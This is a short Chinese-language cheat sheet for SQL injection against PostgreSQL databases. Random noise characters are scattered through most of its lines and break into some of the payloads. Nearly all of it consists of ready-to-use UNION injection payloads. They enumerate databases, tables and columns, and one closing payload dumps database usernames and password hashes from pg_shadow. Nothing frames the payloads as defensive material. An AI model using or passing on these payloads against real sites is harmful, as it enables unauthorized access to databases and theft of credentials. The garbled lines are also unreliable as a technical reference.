结合了MSSQL MySQL Oracle的一些特点; D8 m2 @) ?) I. t$ m
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/0 ^$ q' ?3 X5 N3 S; Q4 K# A% B, |
连接符: %20 , + , /**/ 内置函数:
: ]1 _: h) J- d6 ecurrent_database() //当前数据库名
. t# a5 m& [3 k. e `) zsession_user //会话用户4 _- s7 i, J& w+ r; `
current_user //当前数据库用户
7 n- Y& W+ D$ wuser //当前用户7 O, S# A3 P# b" ~2 J
version() //数据库版本 Union注射:! l: {: o- i: u5 E. B' J
order by n–
/ b/ ~+ K0 S& v, \3 m3 Band 1=2 union select null,null,null– I1 Z6 @* z. w9 F) {7 w) ]
and 1=2 union select ‘beach’,null,null–
$ s. C" B$ J6 Eand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):1 N3 j1 O) A; a' w) X- i- ?. R% ]
group_concat(table_name)
+ I2 p7 P+ T" V4 T# Wand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
* q, R* k9 w9 Gand 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–9 }# H, T; \* E# v
(老版本)- [, o( z: k) M0 I& D
pg_class.oid对应pg_attribute.attrelid7 C9 {- _8 \- u
pg_class.relname表名
: b. N2 z4 }5 y$ npg_attribute.attname字段名 select relname from pg_class获取表名6 P/ v3 I8 z6 h1 ~; O
select oid from pg_class where 条件 获取参数
3 W! S8 M \1 Sselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
7 J% C s1 L) y" e$ p N Tand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
* n- N2 T9 T4 A& |* ^and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
" n8 R$ w' O2 Q. o由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
5 o; o0 g4 S' N7 f0 r======================================================================) }; M2 b8 H0 [! t2 G$ r
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
" ^4 ~! M4 B5 [' d; Y% band 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |